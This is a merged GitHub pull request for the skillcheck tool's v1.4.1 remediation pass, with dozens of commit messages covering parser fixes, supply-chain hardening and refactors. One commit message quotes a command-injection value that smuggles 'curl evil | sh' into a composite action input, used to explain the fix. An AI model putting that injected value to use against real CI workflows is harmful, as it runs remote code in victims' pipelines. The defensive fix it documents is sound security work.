Remediation pass: correctness, supply-chain, debt reduction (v1.4.1)#11
Merged
Conversation
A bare scalar or list between the frontmatter delimiters passed through yaml.safe_load and reached is_template(), which called .get() on a str and crashed with an AttributeError traceback. parse() now validates the loaded value is a mapping and raises ParseError naming the actual type and path, so the pipeline renders a clean parse.error diagnostic. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The [...] branch of the bracketed-placeholder regex was unescaped, so the three dots matched any three characters. Bracketed acronyms like [ISO], [API], and [CLI] in a real skill description were misread as placeholders, which suppressed the deployment-blocking ERROR checks (directory-name match, VS Code dirname, description scoring). Escape it to match the literal three-dot placeholder only. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
--ingest-critique and --ingest-graph parsed only the first resolved path but merged that skill's critique/graph diagnostics into every result, so a two-skill directory marked both files with one response's findings. An agent response describes exactly one skill, so run_validation now exits 2 with an error naming the flag and path count when an ingest flag is combined with more than one resolved SKILL.md. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
load_ledger only guarded KeyError, so a non-object root or a non-list runs field escaped as an uncaught TypeError. Validate the JSON root is a dict, runs is a list, and each entry is well-formed, wrapping the entry loop so a bad entry raises LedgerError with the delete-and-re-run remediation. Also enforce the version field against LEDGER_SCHEMA_VERSION, which was read but never checked, naming both versions on mismatch. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Tool nodes are content-hashed on the name alone, so allowed-tools: [Bash, Bash] built two Input nodes with the same ID and tripped the duplicate-node-ID guard in CapabilityGraph.__post_init__, crashing --analyze-graph with an uncaught ValueError. Dedupe tool names with dict.fromkeys before node creation, filtering non-str items first. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Emit modes and the history/ingest/analyze re-parse sites called the parser without catching ParseError, so a non-UTF-8 file (or non-mapping frontmatter) surfaced a traceback where plain validation renders a clean FAIL. Add a _parse_or_exit helper that prints the message and exits 1, and route every re-parse through it. read_ingest_raw now also catches UnicodeDecodeError so a non-UTF-8 response file exits 2 cleanly. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
compat.py wired the Codex provenance date to _CLAUDE_DATA_DATE. The mislabel was masked because all three provenance dates are currently equal. Add _CODEX_DATA_DATE, use it for the Codex label, and assert the constants independently: a freshness test plus a sentinel-based test that proves the Codex label tracks the Codex date, not the Claude date. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Bump the README's test-count claim to 808 (guarded against drift) and apply ruff's import ordering to commands.py after the ParseError import added for the emit-mode fix. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Strings taken from critique/graph JSON printed straight into the report, so a response carrying raw ANSI escapes could forge terminal output like a fake PASS line. Add sanitize_ingested_text (escapes C0/DEL/C1 controls to a visible form) and apply it where diagnostics are built from ingested content and where the graph text render emits node names. The JSON path is left untouched since json.dumps already escapes control characters. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
read_ingest_raw read stdin/file fully with no cap and the parsers put no limit on list lengths, so a hostile or runaway response could exhaust memory or downstream work. Reject payloads over 5 MiB (exit 2, naming the size and cap; stdin read is bounded so it cannot fill memory first) and cap every ingested list at 10,000 items in both parsers. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The critique and graph JSON Schemas lacked additionalProperties: false, so a schema-valid response carrying an extra field could still fail ingest, since both parsers reject unknown fields. Add the constraint to every object (top level plus each nested item) and guard it with a recursive test that walks every object subschema. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Every ${{ inputs.* }} expanded straight into the composite action's run
block, so an input like version: 1.0" ; curl evil | sh ; echo " broke
out and ran arbitrary commands. Map every input to an INPUT_* env var and
reference "$INPUT_*" in the script, where the value stays an inert
string. Behavior is unchanged.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
ci.yml never ran on tags, so its provenance attest step (gated on refs/tags/v*) never fired despite the README claiming tagged releases carry SLSA provenance. Add release.yml triggered on v*.*.* tags that builds, attests via SHA-pinned attest-build-provenance, and publishes to PyPI via trusted publishing (SHA-pinned gh-action-pypi-publish), with least-privilege permissions. Remove the dead attest step from ci.yml and document the one-time PyPI trusted-publishing setup in CONTRIBUTING. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Floating major-version tags (checkout@v4, setup-python@v5, create-pull-request@v6) let a force-moved or compromised tag run with the workflows' write permissions. Pin every action to a full commit SHA resolved via git ls-remote, each with a trailing version comment. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
CONTRIBUTING claims CI installs pre-commit, but the dev extra omitted it, so both test_pre_commit.py end-to-end tests skipped on every run (including CI). Add pre-commit to the dev extra so the environment that runs the suite has the binary the tests need. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The build check used 'command -v python3 -c import build', which only resolves python3's path and never tests the build module, so the sdist and wheel verification never meaningfully ran. Gate it on 'python3 -c import build' instead. Add a VERSION-based drift grep asserting the README pre-commit rev matches the pyproject version, and correct the README rev from v1.3.0 to v1.4.0. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
_extract_frontmatter_raw (frontmatter_fields) and _extract_frontmatter_text (disclosure) were byte-for-byte the same logic as frontmatter_common's _frontmatter_block. Delete both and route the two callers through the common helper. The indented --- opener acceptance is preserved. Pure refactor; full suite unchanged. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The critique and graph parsers each carried a near-identical _require_field and JSON-decode-with-preview block. Move both into agents/_ingest.py as require_field(..., error_cls=...) and decode_json_or_raise(raw, error_cls); each parser keeps a one-line binding to its own error class so call sites are unchanged. The critique JSON-decode message adopts the graph wording; exception types and asserted substrings are preserved. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
core/reporter.py was only exercised by test_v1_architecture; the CLI renders through formatters.py. merge_critique_diagnostics was a thin wrapper identical to merge_diagnostics. Delete both, inline the one call site, and repoint the affected tests. The cli.py post-parse choice re-validation flagged as dead is kept: config values are applied after argparse and are only caught there, so it is reachable. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
_PAIRWISE_CONFLICTS and _die_on_mode_conflict were rebuilt inside main() on every invocation. The table is static and the checker only needs args, so move both to module level (checker now takes args explicitly). No behavior change; the conflict messages and exit codes are identical. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
graph.py held both the data model and the heuristic extractor. Move the frozen dataclasses (Capability, Input, Output, Edge, CapabilityGraph) to core/graph_model.py; graph.py imports and re-exports them so every existing import path (from skillcheck.core.graph import CapabilityGraph) still resolves. graph.py 550 -> 469, graph_model.py 110. No behavior change. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
history.py mixed the model, regression, and rendering with the ledger filesystem I/O. Move load_ledger, save_ledger, append_run, and _entry_from_dict to core/history_io.py; the shared _entry_to_dict serializer stays with the model (the JSON renderer needs it). history.py re-exports the I/O names so from skillcheck.core.history import load_ledger still resolves. history.py 539 -> 370, history_io.py 231. No behavior change. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
run_validation ran validation, exit-code computation, history recording, and report printing in one long function. Extract _compute_exit_code, _record_history, and _print_report; run_validation is now a short pipeline. Behavior and exit codes are unchanged. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
CI ran ruff on src+tests and mypy on src/skillcheck only, so the utility scripts were ungated (summarize_batch.py had import-order drift and bare dict annotations). Type summarize_batch's JSON dicts as dict[str, Any], add the two checked-in scripts to mypy's files list, and run ruff check src tests scripts plus bare mypy in CI and the Makefile. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
_gha_escape applied property-value escaping to message text, so a colon or comma in a diagnostic message printed as %3A/%2C in --format github. Split _escape_data (message: %, CR, LF) from _escape_property (file and title: also : and ,), per the Actions toolkit. Messages now render literally; the title colon is now escaped as a property value should be. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The anchor/alias regexes scanned raw frontmatter text, so & and * inside a quoted scalar (R&D, *only*) matched and produced a false frontmatter.yaml-anchors warning. Walk the YAML event stream instead and collect anchors from scalar/collection-start and alias events, so only real anchors and aliases are reported. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
save_ledger renamed a temp file into place but never fsynced it, so a crash could leave a truncated ledger. Add flush + os.fsync before os.replace, sweep orphaned .skillcheck-tmp-* files on load, and document the single-writer assumption in the module docstring. No file locking. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Four config fixes: type-error messages now include the offending value; the 3.10 fallback parser strips inline comments quote-aware so a # inside a quoted value survives; find_config stops at a .git root or the user's home instead of walking to the filesystem root; and the CLI reports which config file it loaded to stderr. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Two input-scanning fixes. The frontmatter regex required a newline before the closing ---, so an empty ---\n--- block was not recognized and leaked the delimiters into the body line count; the newline is now optional. collect_paths used Path.rglob, which follows directory symlinks on some Python versions; switch to os.walk(followlinks=False) so a symlink into another tree cannot pull in foreign files or hang on a cycle. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
check_body_bloat matched every |-row in the body and summed them as one table, so three small tables could exceed the row threshold and produce a false 'N data rows' count. Group contiguous |-row runs and size each table on its own. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
tiktoken downloads the cl100k_base vocabulary on first use, so the estimate_tokens docstring's 'fully offline' was wrong; clarify that the first run needs network (or a warm cache) and later runs are offline. Add the Typing :: Typed classifier so PyPI shows the shipped py.typed marker. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Broken-reference and reference-escape diagnostics echoed the fully resolved absolute path into their context, leaking the build machine's directory layout into CI logs. Render the path relative to the skill dir (scripts/foo.py, or ../.. for an escape) via a _relative_to_skill_dir helper. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Bump version to 1.4.1 across pyproject.toml, __init__.py, the self-host SKILL.md, and the README pre-commit rev. Restructure the CHANGELOG: Phases 1-3 (correctness hotfixes, supply-chain hardening, debt reduction) under [1.4.1]; Phase 4 polish stays under [Unreleased]. Sync the README test count to 832. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
scripts/skillcheck_case_study_report.py was an untracked file that the directory-scoped ruff gate silently depended on staying clean. Commit it and add it to the mypy files list so it is gated like the other scripts. Only type annotations and a loop-variable rename were applied (a 'count' name clash pinned the variable to int); the stale EXPECTED_VERSION and network-clone logic are left as-is for the maintainer to decide. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Running 'skillcheck <path> --history' writes a .skillcheck-history.json next to the validated file, so invoking the tool on a repo file drops an untracked ledger that must never be committed. The named history fixtures (ledger_*.json) are unaffected. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Remediation pass targeting v1.4.1. 37 commits, one logical change each, every finding backed by before/after evidence in
REMEDIATION-EVIDENCE.md.What's here
...in template detection, multi-skill ingest stamping, malformed-ledgerTypeError, duplicateallowed-toolsgraph crash, emit/re-parse tracebacks, Codex provenance date mislabel.additionalProperties,action.ymlshell-injection fix (inputs viaenv:), real tag-triggeredrelease.ymlwith attestation + PyPI trusted publishing, SHA-pinned actions,pre-commitin the dev extra,verify-releasebuild gate.core/reporter.py,merge_critique_diagnostics), module decomposition (graph_model.py,history_io.py, hoisted CLI table, splitrun_validation), scripts gated under ruff+mypy.[Unreleased]): GHA annotation escaping split, YAML-anchor detection via event stream, ledger fsync + stale-temp sweep,config_loaderhardening, plus the 4.5 batch (empty frontmatter, symlink-safe scan, per-table bloat,Typing :: Typed, tiktoken doc, relative reference paths).Version bumped to 1.4.1 in
pyproject.toml,__init__.py, the self-hostSKILL.md, and the README pre-commitrev:(guarded bytest_version_coherence). README test count synced to 832.Local gate (Linux)
pytest tests/ -q→ 832 passed, 0 skipped ·ruff check src tests scriptsclean ·mypyclean (51 files) ·make verify-releasebuilds the 1.4.1 sdist+wheel · every workflow action SHA-pinned.Reviewer notes
os.walk(followlinks=False)directory scan, encoding paths, and thesave_ledgerfsync. The Windows/macOS legs see these commits for the first time on this PR.scripts/skillcheck_case_study_report.pywas a pre-existing untracked artifact the directory-scoped ruff gate silently depended on; it's now committed and fully ruff+mypy gated (type annotations + one loop-variable rename only). Its staleEXPECTED_VERSION = "skillcheck 1.1.0"and network-clone logic were left untouched — worth a glance so the version pin doesn't fossilize.Release sequence (after merge)
skillcheck, ownermoonrunnerkc, workflowrelease.yml, environmentpypi).v1.4.1— first live run ofrelease.yml; watch attestation + publish.gh attestation verify dist/skillcheck-*.whl --owner moonrunnerkc.🤖 Generated with Claude Code